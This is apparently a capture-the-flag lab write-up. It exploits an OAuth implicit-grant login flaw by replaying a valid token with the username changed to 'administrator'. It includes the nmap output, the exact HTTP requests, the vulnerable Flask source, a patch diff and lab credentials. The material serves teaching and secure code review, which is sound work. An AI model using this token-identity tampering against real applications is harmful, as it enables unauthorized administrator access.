HackSmarter
Implicit
- Nmap
- Caido
- Git / Gitea
- Firefox DevTools
Target Information
| Property | Value |
|---|---|
| Target | 10.0.30.72 |
| Platform | Linux |
| Application | HackSmarter ID — OAuth Implicit Grant SSO |
This engagement had two objectives: (1) a targeted penetration test of a new OAuth Implicit-Grant SSO integration, with the goal of logging in as the administrator, and (2) a secure code review — triage the vulnerable code, hot-patch it, and deploy the fix through the internal CI/CD pipeline, then confirm the exploit no longer works.
Enumeration
Started with a full service scan.
nmap -Pn -P -A 10.0.30.72
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 3.0.1 (Python 3.10.19)
|_http-title: Login | Hack Smarter
|_http-server-header: Werkzeug/3.0.1 Python/3.10.19
222/tcp open ssh OpenSSH 9.3 (protocol 2.0)
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Flask app on port 80 (Login | Hack Smarter) was the Objective #1 target. Port 3000 hosted a Gitea instance — relevant later for Objective #2. Two SSH daemons (22, 222) were out of scope for the web objective.
Objective #1 — Administrator Impersonation
Baseline Authentication Flow
The provided credentials (student:HackSmarter2026!) were intended for the Gitea server, not the SSO app — they failed against the client login.
POST /sso/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/x-www-form-urlencoded
username=student&password=HackSmarter2026!
--- Response ---
Invalid username or password.
The SSO provider allowed self-registration, so I registered a throwaway account to walk the authentication flow with a legitimate identity.
tonny_sop:WiseGuy123!
Registering logged the account straight into the SSO provider and redirected to the authorization endpoint.
POST /sso/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/x-www-form-urlencoded
username=tonny_sop&password=WiseGuy123!
--- Response ---
HTTP/1.1 302 FOUND
Location: /oauth/auth
Set-Cookie: session=eyJzc29fdXNlciI6InRvbm55X3NvcCJ9...
/oauth/auth rendered the consent screen, signed in as tonny_sop.

Approving the consent issued the access token and returned it — along with the username — in the URL fragment, the hallmark of an OAuth Implicit Grant.
POST /oauth/approve HTTP/1.1
Host: 10.0.30.72
--- Response ---
HTTP/1.1 302 FOUND
Location: /#access_token=473a466ce230458896b24d1fde87e6d0&username=tonny_sop
The client-side JavaScript (/static/js/auth.js) parsed the fragment and POSTed both values to the client API.
document.addEventListener('DOMContentLoaded', () => {
// 1. Extract the parameters from the URL fragment (after the #)
function getHashParams() {
const hash = window.location.hash.substring(1);
const params = {};
if (hash) {
hash.split('&').forEach(pair => {
const [key, value] = pair.split('=');
params[key] = decodeURIComponent(value);
});
}
return params;
}
const params = getHashParams();
// ... POST { access_token, username } to /api/login
});
The legitimate /api/login call established the session and let the dashboard load as tonny_sop.
POST /api/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/json
{
"access_token": "473a466ce230458896b24d1fde87e6d0",
"username": "tonny_sop"
}
--- Response ---
HTTP/1.1 200 OK
Set-Cookie: session=.eJyrViouzo8vLU4tUrJSKsnPy6uML84vUNJRAgnlJeamogj...
{
"success": true
}
Vulnerability Identification
The key observation was in that final request: the username was supplied by the client, independently of the access token. If the server only checked that the token was valid — without confirming the username actually belonged to that token — then a legitimate token could be paired with any identity.
I sent the /api/login request to Caido Replay, left tonny_sop’s valid token untouched, and changed only the username to administrator (matching the server’s literal identity check).
POST /api/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/json
{
"access_token": "473a466ce230458896b24d1fde87e6d0",
"username": "administrator"
}
--- Response ---
HTTP/1.1 200 OK
Set-Cookie: session=eyJzc29fdXNlciI6InRvbm55X3NvcCIsInVzZXJuYW1lIjoiYWRtaW5pc3RyYXRvciJ9...
{
"success": true
}
The server accepted it and issued a new session — for an administrator identity, backed by a token that belonged to tonny_sop.
Exploitation
Loading /dashboard with the manipulated session confirmed the impersonation: the app identified me as administrator@hacksmarter.org, unlocked the Platform Administration section, and released the flag.

HSM{1mpl1c1t_trU5t_1s_b4d_mkay}
Root Cause
The OAuth token never had to be forged. The application trusted two independently supplied values — a valid token and a client-controlled username — and bound the session to the username instead of deriving it from the token:
Authenticate as tonny_sop
↓
Receive valid OAuth token
↓
Intercept POST /api/login
↓
Keep access_token unchanged, change username: tonny_sop → administrator
↓
Server accepts → administrator session
This is an OAuth Token-to-Identity Binding Failure (client-controlled identity impersonation), resulting in authentication bypass. Objective #1 complete.
Objective #2 — Secure Code Review & Fix
Source Access
The internal Gitea server held the application source. I cloned it with the provided student credentials.
git clone http://student:HackSmarter2026%21@10.0.30.72:3000/student/oauth-implicit-lab.git
cd oauth-implicit-lab
Cloning into 'oauth-implicit-lab'...
remote: Enumerating objects: 21, done.
Receiving objects: 100% (21/21), 9.59 KiB | 66.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
Root Cause in Source
/api/login in app.py confirmed the flaw exactly as observed over the wire: the token is checked for existence, but the session identity is taken from the client-supplied username, not from the token’s owner.
@app.route('/api/login', methods=['POST'])
def api_login():
data = request.get_json()
if not data:
return jsonify({"success": False, "message": "Invalid request."}), 400
client_token = data.get('access_token')
client_username = data.get('username')
# 1. Does the token exist in our system?
if client_token in valid_tokens:
session['username'] = client_username # <-- trusts client, not the token
return jsonify({"success": True})
else:
return jsonify({"success": False, "message": "Invalid or expired access token."}), 401
The provider stored the token→user mapping at issue time (valid_tokens[access_token] = current_sso_user), so the authoritative identity was already available server-side — it was simply ignored.
Hot-Patch
I patched /api/login to derive the identity from the token mapping and discard the client-supplied username entirely.
client_token = data.get('access_token')
- client_username = data.get('username')
-
- # 1. Does the token exist in our system?
- if client_token in valid_tokens:
- session['username'] = client_username
+
+ # Validate the token and derive the authenticated identity server-side.
+ token_username = valid_tokens.get(client_token)
+
+ if token_username:
+ session['username'] = token_username
return jsonify({"success": True})
- else:
- return jsonify({"success": False, "message": "Invalid or expired access token."}), 401
+
+ return jsonify({
+ "success": False,
+ "message": "Invalid or expired access token."
+ }), 401
CI/CD Deployment
The repo’s Gitea Actions workflow (.gitea/workflows/deploy.yaml) auto-deploys app.py to production on push. After setting a commit identity, I committed and pushed the fix.
git config user.name "student"
git config user.email "student@hacksmarter.local"
git commit -m "fix: bind OAuth token to authenticated user"
git push
[main 3edc52b] fix: bind OAuth token to authenticated user
1 file changed, 12 insertions(+), 9 deletions(-)
To http://10.0.30.72:3000/student/oauth-implicit-lab.git
ed6489c..3edc52b main -> main
Fix Verification
Once the pipeline redeployed, the original exploit token was gone and the replayed impersonation request was rejected outright.
POST /api/login HTTP/1.1
Content-Type: application/json
{
"access_token": "473a466ce230458896b24d1fde87e6d0",
"username": "administrator"
}
--- Response ---
HTTP/1.1 401 UNAUTHORIZED
{
"message": "Invalid or expired access token.",
"success": false
}
To prove the fix didn’t break legitimate logins — and that the impersonation itself was closed — I ran a fresh flow, obtained a new token as tonny_sop, then replayed /api/login with that valid token but username=administrator.
POST /api/login HTTP/1.1
Content-Type: application/json
{
"access_token": "67860dd0138a451e9d72f49ab4935fe5",
"username": "administrator"
}
--- Response ---
HTTP/1.1 200 OK
{
"success": true
}
The request still succeeded (the token was valid), but the server now ignores the client username and binds the session to the token’s real owner. The resulting dashboard loaded as tonny_sop — no Platform Administration section, no flag — despite administrator being sent.

Identity is now derived from the token, the impersonation path is closed, and legitimate authentication is unaffected. Objective #2 complete.
Attack Path Summary
OAuth Implicit-Grant SSO on port 80
↓
Provided creds fail on /sso/login → self-register tonny_sop
↓
Walk flow: /sso/login → /oauth/auth → /oauth/approve
↓
Token returned in URL fragment; client JS POSTs {access_token, username} to /api/login
↓
Server trusts client-supplied username → replay token with username=administrator
↓
Administrator session → /dashboard → flag (Objective #1)
↓
Clone source from Gitea (port 3000) → confirm /api/login identity-binding flaw
↓
Patch to derive identity from token → commit + push → CI/CD auto-deploy
↓
Re-exploit rejected; legitimate login intact (Objective #2)
Credentials Found
| Principal | Credential | Source |
|---|---|---|
| student | HackSmarter2026! |
Provided (Gitea / source access) |
| tonny_sop | WiseGuy123! |
Self-registered on the SSO provider |
| administrator | SuperSecretAdminPassword123! |
Hardcoded in app.py (users dict) — never needed for the exploit |
Tools Used
- Nmap
- Caido
- Git / Gitea
- Firefox DevTools